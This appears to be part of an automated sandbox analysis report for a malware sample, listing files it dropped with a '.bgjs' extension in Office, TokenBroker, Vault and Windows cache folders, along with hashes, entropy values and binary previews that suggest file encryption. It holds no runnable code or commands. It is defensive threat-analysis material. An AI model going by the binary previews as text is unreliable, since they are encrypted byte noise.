Preview:	3.7.4..Z.....b1.b.......f...>....v6.<.....z%...c6..{2.$;..U7.....2.....O.VL.:.,b<.....I.....Z.]...<.=8..XY.8....}.Bf>S.k...t`$;.R.$.i.i..D.....KGf.6".F...?K.~%0...i.i.2..:.4....#.....H.2.9...R.>....._....P.....yY..l<..'....Rz...\|.5..B...1...O!.......!..}.L.eA.K....S.....B8..C...\|n...#...........y.H.....&.}f..ou)....Y..<}Y../.;..0.K...I.....j.......'[^..T.p.._....%.[..J.".......j..se7.....7..K.WY+.O....>........glV3>d..-..u.<..v.l!m...N.E..B;J.[...#8........^.?aZ.....!z....^....Lsb.:..0.B_.#..I...\|.C'i....X.xv....K..Y..c8. ..8Pj.......Dt..P....#0>h....C.A.2"...`H.;.\<...2!.......7.....\|.[..5.Np..P?............`!O{..D....H\|.$..v....aa0[.J.....b......e.:,.x(...m.f.n..r..`.+4.....T.........dl...AjR....2..\|...W.<.n.....X......o.m.W.tRmqg.....N..s.2.O..K..w3?.c%4/.=>..#.J...<1....PN..}DNbl.~....Z.,..%uIP%.7.."(@.g....E.(v..5 .. .3.XSAP#........z!..UO..._...6:..Tv.OxgP 6<.~dnG..4.\o.~.L.@..PF...._$..(.A....6.Q,.N.<....".lz....

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992629792818393
Encrypted:	true
SSDEEP:	768:YuSM1DmcdJE6MGpBbjkyh+LIqVZi59iiI:YuSM1hJbMGnXMI159bI
MD5:	9035D2067158DD772E29FD3B98BB3505
SHA1:	1F66D3AF333E518C98206887DB0942FAF2293BBF
SHA-256:	67A841D174E2B2382D9F0343D1F3D4CC60740E616653C924C27763E72BDC0906
SHA-512:	8897B8853E35F49CBB4791CECC8BD81828032A18CA324347C8BC1406D8A68C98E9F0F6A79EE5EC13130A55E4FC60ADABF9B25077715A6A7C4D3BD4CC91818332
Malicious:	true
Preview:	SQLitF..G.r..y......b...F)N.N...44..))7.....I...u..X].-.&.zI.F..^.....s%.W~.._V..E...l.........).K..V._H.r.F{....9^TAy.R.>..[}..\|....P....P......9AlcT...C.7...Z.8I......e..{g...W..rhn..z.v....IW..hG.r.R..I..]NB....?.2.f..j..!.4.".../.2...r..L.....Z..#..a...?s.zv>.:..7.KI...B.Myi......2!4.A.T.9.W...m.f.sz.....g..4..8.\|...a..lGt.o]_.l...o.. .W .!B..L...D...i'!qy..F\|........D.u...h....j(.3@...j./....r....%Q!+_....M=..6..=..dK.h.O.c......;..c....W.\|.ztv].r..U....5fY.......Q....^H..$^7..l..E......>...N.=./...IF\.0.C...{....Hf"S3...vT...m5Jr......tm.>*.?=..e.-{.L.7:..gP\|..&~.6..............60....h&d.....)zC.AZg...v....O.Gf7........B.s..z.....{..G{C.......e.-..jB.mIPBKq..9.TAaT.K....E..............a.B\.qa.....5.....h.8<.S}e=7.H.o.%....W.....:.J.}4.l.s26-...'...j.x. Mhd.!.^....c.?..\|. 7&.N.$..v.-U.......y..G'Q....^n..H.ucL5...=pWkr#a..(......Qp.Y'.u.N...A!...P.f.t0..)6...~/...j2..Wg.....J.m.iIZqUk..z%H.H..ay..=O.;..].).._t]...S..sa....1..ZH7..kDV..k..

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992098497602056
Encrypted:	true
SSDEEP:	384:DtlhD6IcCEjSOr5caup8A5gDiaq2eU2IfPvO10hdMKE7KJZDQ6sDoQDS/b9RuE:9enSGcaGh5gDJeU2mmyH1JZDFEG9RZ
MD5:	9F60806B418E236C52E93D2EC6894FB5
SHA1:	79B089CDD5CB1A51DC9DDDA6A98166ABEC2AFA98
SHA-256:	9EED7D3146387116E042C6D166E9182EEA7C5D2176926D14D26E0810F3D92061
SHA-512:	D3C1E3E16A711B7DAE28B9EE0CFA1A4C65FBF62F133A8C97FD282BDEA8EBE3195B97DD91DD3698B9A87CA7FE308E5F0DCF36869097825C0F251642D1B76C1C11
Malicious:	true
Preview:	SQLit.....6.-...4.....d.._..E+I..?.A..v.h'4...efz=..P.`..B.zz%.&G....e.BL.q..J.6.=<(.n{X^3.+6p...s..b3rM.e...?....%.Z.D...'..^yk...d.'.4....3uj\}.....M.k...O.F..>-...Ol#....7.?k....J....6?..$b.h..^A....h.0...mQ..8.,.o..>..R........y.U<.....f... g... ...I.!.7...g. .....6w..........].=1.~z;..s....}...Y.LS..}#..6..W)...2.2...VY...?q......~.....L.l.(.%..}..5..{#..._.5t....~.z)fBD..[PS.7......B.-.....c. '...m8.$..aJ...a..>..}...Q....?$..E/.d6.......b/...U.)W.$....#.w}.z...{G.O..0.3..C...H...s...V.....[....-..&.B.Y...{..`...:.O0z\d.<.7+j\B..A4...V4..e.sB$R...p.x.7..KM....v9.6i.@..b.UEK........,....i.v.....m.-.>..U..-f...^..YE.yD..c...M..U.:..9.R.4..'C.....w.0...}..<.P.wBJ.H.l...S..A.....>Y.D/...nO1.Q..oJ.~..M[XR..P.-....e...2!..)0.......0C.[..p..?t.E.... ..m.,)..5E.4R.rU...b>...../.{..8.'.....H......`...9..@...<.....Op.Y.O...C.^T.E.F..3...=..".^.......0.X?\%Z.\..h....I=.LC....oh.=.[kdk-w..B..}'..u.L&...A..+....ISo.e....

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991430877981079
Encrypted:	true
SSDEEP:	768:ss274cvKcQTctSeNZaiTOwY3IfeoJdSCD0JK:ssQOleGiTOwYYfbJdSQmK
MD5:	441AE9A7B04DD4CE1E6BFD7D43BFA1D1
SHA1:	B92972D37059899D9E6A1FB597819E5BAA18C746
SHA-256:	3DB9A7CE537385A520B5C6EC4120BA05DBB7E2068B2B89CC137DC7A5A3835C4A
SHA-512:	FE1106A2039942E59F6072F8A5453999CD2140AB54A4DFDA4B5DC0C254859DD0F44D650E27B9B7DA894168D68F15CB2B3D238171FAA08354B46D584F805859C9
Malicious:	true
Preview:	SQLit.K.........sDD..c...E...B2!.....<.?... .]..[W...7......=..Q...B..$........8..C<.6m^.o...u.zV..c....@PY.......Q.n..........G...."..J.&....G.1<E....z..V...H.rJ.R......`..;A.2j.[...&p...T...<?j.(.c.+X>..2...YK.m.[..MbMVi.K3..Sg.E!....P..%..1v.E1.,Q.v..9.`R..mL.^.....,.l....@Y...s^...{.<......L.?.pT.h.$.Y..9..<...hyh,...z...._l..&@..YT~..J..^,.@......#+.w.5.Z.#......]..."f<M...4../.3...2N~............SD.'O$...T.?.....R.7.^.&.;...1.]...li.....@..Te.....W\|\|...*&.]...3a.s,.v..}G.....22..X..G.JY...j~..h@....-.D.`......#..H.....N.6.......n'.=.....-..G.A..Kk..!.SQ..x.j..EK....$..@..Z..>....H.~n...a{...\.L.ly..[...Tz...8:.....>S.....6..$.t...MbR....h....x....K4.".y.wA&C........M.R......R.A...3......b.H...._&...[......S{.c.K........;...}.cr..P...+.R."5.[HlLy..,........j.DQ.r.P(.oXu.\.......wf.^...Y.>.A..?>....i;..w.Fw&.\".f.0...#....A.[r..#.....$G...]..$.%\c..),....Ds..7D..h..X.X.. ...x`...Gi...=...LO=...>...:..a.......X._..RR!..U......D...&

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99381756886856
Encrypted:	true
SSDEEP:	768:zHKboQwOF//ogkFMidfOOgH4eqRP54xYkfKAi:zHK0QPF/Q9dWORewxk/i
MD5:	2E4CF1FD5436AB9B57C244AA8325F4B6
SHA1:	A298794E4877A0400B8E684EDEA47AB94C00B3FD
SHA-256:	3E9442F7B0924E68E24F226971B113668893F6D329E81C5C04840CFDFBEA205E
SHA-512:	EA9B4B9DDE3D23D19F2A1F1687A4E6659E7447B94FD9DF96573926EC75B92F9ADAB9617FA09A7D889CDADCDBD426E398601BC9D3490D406D649358E999867F38
Malicious:	true
Preview:	SQLit.M......6_.@......2.Y....U.CF3..[Yp...,...(.-...0AY.^J.-.Fv...S.SP.m.....c..J.sM....o<n9S.&N....9.ylW....e..#..x..om...m.... ....I4>....Bm.^Q.J{...K@...#..,...d......a..m..lK..$\|.y..].hu..gv..%.9.Fq......=........pf....5&:....V.21..a>.Hlx....b.`..B.\|...JA6.7\|....v....5..>Y...-q<....l..1.C.HI....LS....a...Bu...Z..:-...u.u..H..ij.......=2./.....{....Cm.....V8U...c..]..~.-@a"..A..-..J.....C..N8.....\jc.....vQ...eyI^m..8c'^..........!.^.\|.C..E.7..."g....pOe..@w-IMi.^NoL.\|....H.U.K+...A....be.H.N...A...I..e.....J..~h1[.e'0E....U.}..M[..l......T....Vf.[+F...g..w.uS..[....-........n..)_...Y..Z.x8f.,..k......4.p.\.Mu.<..4=....S.3..W..\^.3.n.)......a...U....8.N.U.Cd...(..B+V..."i5.......\.H.F.....,T.....K.f......+b....'...L........P......V....=.+.....m..E........>....m......L....l.&.\.$.....R:.......\|O.....{.K..~e_.Z...]e[Ic..oC.vV..w....B........)... /o.Xw...o.C_.{...E.pp.4.E7....r....I.....4t..............(.0...4).......2.1.AG.9

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929303896694535
Encrypted:	false
SSDEEP:	48:XjavV7E0qK6tRacvBGCcxDymV40G1OzLVmZFTLLG4BDG2wkeG/1wmD:M7J6tTYRoaDGMLVUF/LtG5T+
MD5:	FA3F436EEB51D5823D46B00BA3AF9183
SHA1:	C94DAD79D24D58678DC0040C06F52B996EC781D2
SHA-256:	6F9D26C0E1508661F64E655B666F9BD73E64AE6D3329DC27E42F92076FE72CC9
SHA-512:	FCB1F31C5D4C91810DD7DC43632243FE12C96A6FC5AF5585C5973DB0735122B4EEF971AE103254C909686D6138836DFAC90C76EF71764620BA83E9889FB15172
Malicious:	false
Preview:	{.".T..{.E..L..A6^....~..!..g...t..#!.j...U..........#...YQ..G_.....9z..e...P\.G....+.....F..j.K.\|B.....:....1C.t.I.RL...{..d.X.."....F...Q..V.9.-..h..VLFV...)....<t.9P....E.....DJ.T...#.d...C+.Ci.../.D..'........j.\...T..N..Ty..u....8..x.j..6.....,.r....}.e`......?..u.....D...8%<s.....T\.dU.........#K.eW.k..O.........E..sS2d;.u5.,........WJ.^i:d...U..w:....<..!..xH..........Y=.r...?.j{.n6=Dg..(...l(.......c.9..J..V..0>.(....f...4j..,{[G=.........p.!....m`....2..z.J .N_....\....L.i.Z..d1..{..v.S............ .T...U.x...:.}K..v.h ..)+.=..nq.]..0...zY.M~....r2+....i.bo.......7.......Y..=^......GmfU..~.2..@:}e.1.[IIS..Y.. a..)......-...^....*&s.".....5....M.#.e.68a.;..C.^.D]..t....E..,..P.Ivw...>0.f.........;...nb....m..,^.......=......-.VEa..<NX.W..+W}.qP..E/.JQ.d.-..B......\.qk6,..=...h.w....$..^.R\HpS.)...?'w....o..R.n...Y)....'tSYh...0.U..D.HJ........p..(.75.k\{!...{.q3..`.L......r....&l.1J..lo....mC...K...l/ki.T....").T.....)...._[

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.908473455889725
Encrypted:	false
SSDEEP:	48:3ouOTDZW7gpQyMDT31trHH3k+yPWjF/AMDoXuEjFXGdxMpla7uSSB2McIJrf9ob+:3o3fWyM9lHH31MuFNz+FXGKa7r5crfSy
MD5:	627B0084789514728EBAE922DCB0E39D
SHA1:	D4EB53251DC92A9E58FBE50DD6027FC97800675C
SHA-256:	7C57D21BF14A09A8D4889745B6CB42E53B5D8E1E3CBD722B5A10F04BE762BE82
SHA-512:	F4A5669F162148D6090AEB0F7ECE41DA0A407320F89E3F55E9E35AA7A351B1BC10FA9E2AF682589645E3871EEB69BD53F11F5083DEF5347EF9C1C5C834976129
Malicious:	false
Preview:	{.".T.-=~.m2.I\.]...g.Hn...u.>.c[.<^.&o...}.9..S...@...(...Z;.K....5Z..(._....t/C....K.f...@....\.XS5....L..2...d(.....a.......E.2+.....y.3...V..........j....%.x<..gu.?..!...4g.0l.Q..W...i_.........,....:5:..:.K._P.!.b.J.......<......Y88..J.....g..A..;U..m.C+.CYm.......:GP.O.j...Ri..r.v.K.4q\|s.......6...^.-XX...M.fN...x.7{B...V.........Gw..3.<.t/.g...b..[....A$&.....a8...f3.PC.R.#3-.Ed..@5.w.~1La..0t.n..\|x.]n.........2.C..P.....?.......Y..9D.....$.,..h@I.!.=.YG../-A=..i..6.0I.;....2.]..d...K...."7.'....F.Cz.Y........M...F.?'_.).M.hc...</.'..G.........+.........K..Ce....a.....N1JufD1....$.B.eT..C.wy.n.D.K.8....s!..2...w....f\.v..:.....~..zI.Z...........V.e^.:.........y.$...<..:C..[.m....(.a;w..M..E.."...,...5Q.\|.B..........Z.A[...k2:.>.abJ.....8.u..3...=3..;...u-B..j.g..#);DO3...p.?..uP..v......&Xr4..."[...\.G..C-.n:a.oT[.j....41..K..=....ka...P;.2)J......rf..P.....I).N<A.B..... ....wT..X.gR.ZB.{.m.\..DD...-.g..T....M.O.r.2.an".2...AL....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.939823626385774
Encrypted:	false
SSDEEP:	48:vnGHM4diq0vNsRZ2UwtuimxQqehnsgZiA3qUa+jg/TyoN3olWLcx2VOa2RiV642k:PodidOghtvYdcxr3q5WPoocHOalVPyq3
MD5:	B544DB4BF0C5D4996E290D60C5053961
SHA1:	FAE3276DB56AE71EE5DE222089527B8D969A1769
SHA-256:	5673D6A2CDB0764F026CC616E44125E058F0C07B7E56422B4BBB3E54FBFF02CA
SHA-512:	52F2785C4D40BF005C585750F01AD9F3897005FE4879B1E63201B2D7BE05EC2DEB22E6513CA07A79288DB8E98532BDFD0F0EC99AA2F4E769B934583E58601ECF
Malicious:	false
Preview:	{.".T..2%/?...bz.G..C.u.psZ..j`..H.......rU.G.$Q.c............".7%...m...<.....U....._.t.4o9......5f...Y...{.o...".. .Qx4..>...@..ro;....Os.....D.7....6)n..q.~......Q.E.....kJF,..^b...o..0.&..{/.u.....\|.c............[.".....n..+<........#......5\|xrr...B.B_.4N.l..*...D+JsH..e.....=......`>.x...O.(...K..hu:5.....%.......f...L(o.'f.,9PG...`0........gh.'..&}....;.w.DDy&....~4....^. 2.....l2....L;5o..U\;.?..i...,.....b.:.)..X.......F.X$I_.\|W\|.%.'g.....o}v..~....6......f.UQ........4...Md.X..j.o.8.....QJA.Y.1sf/..;.1...............2......_.n%.qJ`4.....`.u....c..u.?D.b..n.....O.Sz.s....g.\..oD.....].Z..'b.J..(.Zr.L..&7..de...S,,.'.N......9d..f.X.?........#....$hY.d.......zd.F.Cg.o.7....$.Iv....]...2X,l..e.......C...m....,.......OS..s.9y.^./.H..n......)....#.I....;.....[.A..]..$. ,KU..5YF.c..{.....0t..^....J..P.4q..\|.. .y(....0..tI......~$V...G0$..?.wy..$..??u..Y0~,.a.z6.s........+J.'....p.)..1.=.a.n3q...w..a.KJ. ......L.X.d'.c.....2.Ba ....

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.924123797377116
Encrypted:	false
SSDEEP:	48:ItdQ65uC5Geqg2ceAdV/fHjXBcNDuliI4J6BIP3RefvWW/2m3qF+aQZCmD:CQlEZ7fjXBcGiI4AIU0m3k+agC+
MD5:	DAB1FBC94C466D08B05C8EC7B22067BE
SHA1:	3C3C65D1162291C1FEDE3A8D044A6ED4A0DEDD72
SHA-256:	88A17397E70278E22308F2A7A250385DDE3F1D7C88CE490E4B51F0C15FB9C66C
SHA-512:	CC62C262AB1990F10D7D01436AEA6DDD2DD19C70B3B66034141C4A085977DC5189CA11A62F3204B7DC517BAEC4EFF858F7C1F6D64A8A6FF4C16BC44064A87BCB
Malicious:	false
Preview:	{.".T..'...q..l...x~........\56.X....CR_............_..p.yB...M..d...YU. y.0&c.i..._y.S... ....F..3J.......f..s{...Ry.P`.n.\........a.......7".7.......Cy,...<.$I.^......0...~N({..}.~....)0........dU.e...{"...e....K3./..l@...l_...F....$N....y.......4.l"N\|#j?...kv...8.r.&.c.X.(W{...1,B..6..y,.d..-j... '..:p......vO.n.........}i...(T.G...].......%^0`..fu#.57n..5%B?Y..V.N?..f...u....H...v..o.!Co~+..[.c,V..=.}(.`._.7]z...Z5..1...E..@1h........aI.M...$..HBUz .<...\.\.^Y....6.z.......;&.....</..x.P.tJ..8...#.c.E..YH..%=...`.(p.a-...s8Tx&I1...Y..m\|5$]......c...nz.=?.Z(s...J...f.....".Bm0.......f..0.&.a.o.(...F...L$....1~T.cN.BFA.G.`.=.5.\|......h....#9X...c.P.. ...[x.'h.cNs......Q.....].?..I,-...$.........i....%;.k8O...AB3Q1......#.....].`s`.{ \|w.%Z........".=......V.\|@....>d.../..a....v.....-...Ta....gM(.CpI..3u.....EI..b...&pK?PT...^..4K....m...!^...w...k.a.&...k.w K7..Fa4..+.......#n....L...g.l.<...mV.M/z.........g...,..b<....@1.L..W.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.958970302269885
Encrypted:	false
SSDEEP:	96:+MwpaTF1h4Q4Dl/II0sVTNBFVGcFOs9XG9XwaGIPWN6c8VxdPDr+:+oj4BII0sJCM9XgAW+Uc8VfLr+
MD5:	52882A6E4E102E6E20203F0C54A54CE9
SHA1:	5AAA951D58F7F6C5C8E679850AB8E8E499B9E3C9
SHA-256:	3E104E6564FD6813534F75A983DFF5274CE7F70C4FB9F36A56886642215CB307
SHA-512:	96A62EC8F2A82A3CE0323D80D8FE85E0133AB91A0A6EDF956D5225FA93F04966AF6DC468826D27C8379CCB6CB5CBCC610939A37D0599640924835925A890EC8F
Malicious:	false
Preview:	{.".T.w....H..1NE.0....dW5s_.x@...].I..". ..0.~..X`n>."4.f.uL....F..0bl..R.%~M..l...g$..!C^tq.C..2...........=e......2..L.........]R....g..H...e.=t.........q..e.7U.Z..=.~<..a....C...'.....j....%..d..3Y3.......M.Pf...X.l..!&.n.awL...p....\|Q.+.........).]...UA...@..9....%.".c...5..T.%d.\.....O.T.:...g...P.JA<......z..nkg.P[.......:....C..J.S..7 ..0@l.'.V#...=.../sVxz...O.PMi..:@3T....D.N.Q.......d6.......c3)...$..^....6..O]....J-.o .Q)lU.?...........b.~..@..m.zm..=..A...PC5=r..U..lQ..d9..?....'..g.....)...Pk#`.'.ZS.w....k.<S.....Sx.Y.]P..6H.!...#.u..V..\|B.".kd..,.........n..G.._C......qXC..Nc4.....Yy.=...L.....')...u.}....#..X.../.#..{......8..+..l.C\g.....M.l..YuM.y....8......6w....t..le..K.t#...sie.xiRU....\N...sdT.#.~..n,y.....(.b.e?..C.i.7..5r<.a.v.......t.........1-.../jd..>0.X.GX...+...K......>7E9.....a.0..S..}f../...#.d.W.$.B.A.J..0...mNa......r6.M..M....a....N.;(.R...m..G.a..1~..`.'r....(9..Sp...;\.....'!...e..QU.=........H....LX

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937440489645511
Encrypted:	false
SSDEEP:	48:U6X9cK3HtZ0QQ0CfMvoEoBqB+6Thr4YsPzQGwTyW3SzgbfQJbs2wSfhKTz/T3zMv:BNcaNZm0CfM6qBgYs7DwTyW3ggbuJfhB
MD5:	0AEB3F67288827F7AFC544117A861BC1
SHA1:	74B5D08DFDF3AF0108C6A03533246D6166364803
SHA-256:	3189F7AC349DA850845FB15DE6CF7DC53D2FF7E65DD77ADF4310C828A95BF196
SHA-512:	B0709C7C887353267C87B5415F9156F8A36D894850A70496AA26576E9D9D82F267B01CE2A4622C9291436E4031D1769BB4AB6F352ED3ECA1187A835BCBE4B2E9
Malicious:	false
Preview:	{.".To..hcI.....O.H6.A.=NZ.x~c...cj..reC...P...0.N(.6.{.>..r}.e....#r.c.x. ..0.h.A...tD... :..<1....o~..~.C....b..%.ne[....?.jy.5ZFQ0...w...Q o6c&..r..._. ............k.S:.-....zL.R.H.t.a..M.."..]Cd.....g3....0W.o^s...+.pkpS[.=\..^o.?........i\|e..[.y...sm...K-.NG..;b6..p.Z.zA.Q.....9..4!X....[~@;....u.a...c....1...+M.....l..j...-.`.L.yR3u...1r.z.o...q..#...m.?.B...Ve...{Bz.T.+.g.....y.rYR...]..I.2(>65DE.....e....w....KjQ18..@....G..{.G.K?...7:8.%}.+....{MO.....s...p......c..=.7."4.T....Z........m5..@...~.Y.Z...........$S.P,..SM.. ......\.u....7..u.G3G.m.....r......1.S..N2I&.n.f.b.3$Q.........<,N.4(/S....4......^.I......C.....g...e%YW..)6.U.-9.z........(.N.h..'?3.>?e.KD..F;.....Q...7{.g\.A*D.\.......g...R.Xd.O^....E.-.....xyf..KQ..q.............ZD..o.w...!.j.........]......t..7."R..\|...T.I...K.Ae..c....o]...w..PE.. ..8..._..Y..HJBn..4.7...J3..C:X..OM..h..#/...p.~..:.xO...C...:.7.r..fA.n....^h...t..k...J...Af.:e..kO...L..'....7e...Wi..1T

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.923915277632476
Encrypted:	false
SSDEEP:	48:G5+h0dJtsJNhSCa2EjCDh3Wr8ZI0AUKfA7/ev7YquRwmD:8+hcCaTAlWs/AJfo3quW+
MD5:	2F48C113CD0760CE5E27E8A34205F2BA
SHA1:	3F1EAB7177286B0B8A3060278E88677309DEA205
SHA-256:	5982D27DCF36E30C67BEB061AC2FA4713A32A7317BA2E069D0040BC33A0711F5
SHA-512:	7E2499A5B3C804C31FE236F10AE5C21B8CD627818D2F00F542652DE4C92056086D4104F4925C401920DD00D5D3747C560718FA45C6CE84EE1355B96F42AA3FE8
Malicious:	false
Preview:	{.".T.c4...4..}".D.Y..,.....AV6..J'd$Z9...3.R.a......]......u.\|....f.W..^..^...1.}C..@..w.P...v/.........6.;.n.QY.9...`a ...a3l.bG..8s^..;{.5../..s..J........k7.......%F...D.+5w.R...Z.k.f.z0..9}.......x\)n..r......3p.2%....W[N..c..Y..~....=`.aE.R..U.&/.....OO._<.%.e..N..NI.v.9V.$...ncU....g....r.Lk3.g!5.p/._%..\.l.e<..9!.#.3...n...\..e......i.}Q:..Roo.;..#p.........;......_l.........Qm.g.....[..)gK.)^.ozT...E.oUj....N..cK..0..M..-.B..Rp.)..Z.V"w.&\|.".....q.\7.>.2.R......h....nAR.P.\|6mT.I>..._.......-.:.A.;.mv.h....?.........]...5....ZC...1..N.W\|..^.D.M...S...m..y..CZ.D.`..f..S!.Q...#(B...".W.C#.5;3.}.CX..#/.<d.1.~..).>..-xe.....Hc,.....g9.R.MQ....x..3...../..k.o<d[Yv.K..).7.....}wl.5.I.E)..s.5..+...!c.-.}...+..0...:c<.'W.....b..q..p-..Q....^......E..8.1...8...N[k.$.mr..\.Y...D._l...;,:......u...=PqH.R-../..QY.....;..pA..H.k..$-....ii.....X..R.]..^...p.`\....Wr...W..6..?.d.}.......'.B;M.z.ZD.m.....c,.c...9....e....d...\|.-.4\b...#...X\.*

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.729083603905933
Encrypted:	false
SSDEEP:	24:MCvZOwTFJKYuiqCVNpR0SFEEpYH1ttntsbD:MCvZOwDKYu0Vu4eVjntmD
MD5:	FDBE11CDB32F17A27ECDE6FCDCF22EBD
SHA1:	49027C79E9401AC19E9051EA4DEA82E6C2BDC2DC
SHA-256:	4CF828A499CBDF1060A044EB4F94A2D26B58CE06D392C15527C71B13E8E1C09D
SHA-512:	AF34997914D94C2D89F795EEEE7A33B6DB99CEA082FE675ECFADFE54E6343550E278FBC2B440E20FFDF71AC791BE1EF881E6F9A7468F40140478F3F25DB3DB3D
Malicious:	false
Preview:	....B.y'..o..~..R.....)/...O.n.N~...F.&kv.}..6.o0Z.\|..zf.s}.d..Y...#..?....L....g...b...-....[...P.....a..UI,.r:a...s...c.@S7..`.Y..2-...7....)....(.R..Z."..+r... ............5o.....7;l..K2>.as......y..-.0........L.i..."7..pb.U.6Z..n.O.m.-...N...#.4`.^\|.L.t..k.....).....6....$.z8.....;....xI..I..'..\.?1.BY<P$..#.@.@.4[..L.-...;..........0,..;.).7.c...Aq..l...D..i.e.....6..B3E..@..,.a.L.)..H....Z.....c..J....(!.U....W....5G.m..8.....-..jR...#....@2/^15K..F.......y.%Os.!y.+Y.=.7.0.Z=YAQ..4...-./.Ca...M. D.<..&.K..4\|.......4..qP-...u.E:..Kt..y.....%..n.V.....f4..U..9..O.....h..s.7...Yf...+.L..CN.....1..ZTZ..k....*......3.c....9.Y.18p.ORw."../..]..F.F8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.33095884742367
Encrypted:	false
SSDEEP:	6144:vqaG2E3vba+7qHZCRb3fcDm+vyJfbnQkK96B88yKv4bWTmTvEiLSA:M2EDd7qgUm+6dF4/P
MD5:	CC695735BCC60C4105195E55822F559F
SHA1:	9A5C5E41A8DD404AF22286F6192C8AE409EB4CE6
SHA-256:	80FE2E129404167B47BB2A36051681426FD7B63DB6CE9318E2AA2CA401FBA37B
SHA-512:	875FBF7E2C8458BBFCD941D64B23AF88B62C22F20DA9D666667ACEDAF9326FE3B59C1DCE12C9B5DA068D9BE4D4C433572CED4EB8E1EA9179F2C1EE38B1D89760
Malicious:	false
Preview:	...P.Ii...1..d+....J..q..j.....L.....q.M.3.9.~'uu.......`].....:.T...dh^3.Xt.a...e.h....#6.Q.a,..1,..E.6!.<9......[.8..roOo\2...Q..(..Q) .RVW.K..N..wW....n.....~...c......SB..-GV).f].6...8jc.....W..k..~\[0.i.#8%...$s]o._\..>($.}.H.$........lln4...U~.....N.W..(..F..:...I..@.$.\.....V..#...=.....z....\...>$....7.F.4.eB.9..""..E ....#w...1y?$V.....a[t...><{...1.ur.....K..DO..U..r..D..S.I...4%...':.....Z>.-.E.Sg@.{._..\|ze.D.....V.N......9x...h....G.N..2...2.P.+d.z;..Eg...M......'.8M+...t.....X.P.e.R#j..p....'8(.Dd}...'..@t.k.i.'...^c5~......;..d.....a.q5..)U.B..!.&..q&........s.._.K.G...._......L.......Z,..y!.H..y.L....mgq..H.a....... \|U`..un.(,.V..uf.`.:...U..#..`?.e.).j.......OX.R..E..^..6....o9.G..H...mj....w.......GLC(j.[...j4&0..2...Q..-.........AD16.......w........`.......Q.a..B@..bW...v..8.43R<.O.6.....#..)$.........A.=C.? .e.'.......".c".R.<..g..........G.[.._.[....4.........a."........Q.....h..9..z.h.w..\|-.!x..K..2O.e..Hl....

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988941024267246
Encrypted:	false
SSDEEP:	384:/PbvDft/SgD1MH3lztpR+z/++g4G40OoGq:/74c1M5h+zmlTnOg
MD5:	EA7C640E2CC29852A4DB3AE1309045B7
SHA1:	65859D9721FD8E680D67688E191EB6F93D46C403
SHA-256:	107FFA488DF107FC60362925EB547F2FE2B47263883627B17B36D7E762A1CF7A
SHA-512:	04E52F10010A1A990DC423F3C70E559BF51C0C94EDCC8E8FAF7C87A6EF41A065C776DD2118AE05D8CD6C5F0B6C3769798CAFE61FCDBD1B7D92A4337A95258634
Malicious:	false
